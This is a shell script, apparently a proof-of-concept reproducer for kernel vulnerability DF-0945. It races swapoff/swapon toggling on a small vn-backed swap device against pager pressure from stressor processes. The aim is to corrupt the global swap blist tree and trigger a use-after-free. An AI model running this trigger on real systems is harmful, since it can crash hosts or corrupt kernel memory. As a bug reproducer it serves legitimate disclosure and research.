DF-0945 / run_poc.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | #!/bin/sh # DF-0945 PoC orchestrator v3 — two-device race with cyclic pressure. # # The race is on the global swapblist radix tree. swapoff_one() mutates it # via blist_fill()/blist_resize() under only swap_mtx; the pager mutates the # SAME tree via blist_allocat()/blist_free() under only vm_token. Neither # lock nests the other -> concurrent mutation -> corruption / UAF. # # Setup: main swap device (vbd0s1b, large) absorbs bulk pager pressure. # A small secondary device (vn-backed file) is what root toggles. Its # swapoff_one only pages in a little data (so it can actually succeed under # pressure) but still calls blist_fill + blist_resize on the GLOBAL tree. # # Stressors run cyclically (allocate -> dirty -> hold -> free) to create # alternating pressure/relief windows. During relief, swapoff can pass its # memory check and reach the blist mutations. # # Usage: run_poc.sh [main_dev] [swapfile_mb] [nstress] [chunk_mb] [seconds] set -u MAIN_DEV="${1:-/dev/vbd0s1b}" SWAP_MB="${2:-128}" NSTRESS="${3:-1}" CHUNK_MB="${4:-3500}" SECONDS_RUN="${5:-240}" VNDEV="vn1" SWAPFILE="/tmp/df0945_swap2.img" # 0. clean slate swapoff "$MAIN_DEV" 2>/dev/null swapoff "/dev/$VNDEV" 2>/dev/null sleep 0.3 vnconfig -u "$VNDEV" 2>/dev/null rm -f "$SWAPFILE" sleep 0.2 # 1. activate main swap swapon "$MAIN_DEV" 2>/dev/null sleep 0.2 # 2. create + activate small secondary swap device echo "[*] creating ${SWAP_MB} MB secondary swap on $VNDEV" dd if=/dev/zero of="$SWAPFILE" bs=1m count="$SWAP_MB" 2>&1 | tail -1 vnconfig -c "$VNDEV" "$SWAPFILE" swapon "/dev/$VNDEV" 2>/dev/null sleep 0.3 echo "[*] swap state (both devices):" swapctl -l # 3. start cyclic stressors as maxx echo "[*] launching $NSTRESS stress instances as maxx ($CHUNK_MB MB each, ${SECONDS_RUN}s)" PIDS="" i=0 while [ "$i" -lt "$NSTRESS" ]; do i=$((i + 1)) su -m maxx -c "/home/maxx/poc/DF-0945/stress $CHUNK_MB $SECONDS_RUN" & PIDS="$PIDS $!" done # 4. warm-up: let swap activity ramp up echo "[*] warm-up: 10 seconds for swap activity to establish..." sleep 10 echo "[*] current swap state:" swapctl -l # 5. toggle the SMALL device in a tight loop — this enters swapoff_one which # calls blist_fill/blist_resize on the global tree while the pager # concurrently calls blist_allocat/blist_free on the SAME tree. echo "[*] starting swapoff/swapon toggle on /dev/$VNDEV" END=$(( $(date +%s) + SECONDS_RUN - 20 )) ITER=0 SO_OK=0 SO_FAIL=0 while [ "$(date +%s)" -lt "$END" ]; do ITER=$((ITER + 1)) if swapoff "/dev/$VNDEV" 2>/dev/null; then SO_OK=$((SO_OK + 1)) else SO_FAIL=$((SO_FAIL + 1)) fi swapon "/dev/$VNDEV" 2>/dev/null # status every 200 iters if [ "$((ITER % 200))" -eq 0 ]; then echo " [iter $ITER] swapoff ok=$SO_OK fail=$SO_FAIL" fi done echo "[*] toggle loop done: $ITER iterations (swapoff ok=$SO_OK fail=$SO_FAIL)" # 6. tear down stressors for p in $PIDS; do kill -TERM "$p" 2>/dev/null kill -KILL "$p" 2>/dev/null done wait 2>/dev/null # cleanup secondary device swapoff "/dev/$VNDEV" 2>/dev/null vnconfig -u "$VNDEV" 2>/dev/null rm -f "$SWAPFILE" echo "[*] final swap state:" swapctl -l echo "[*] DONE after $ITER toggle iterations" |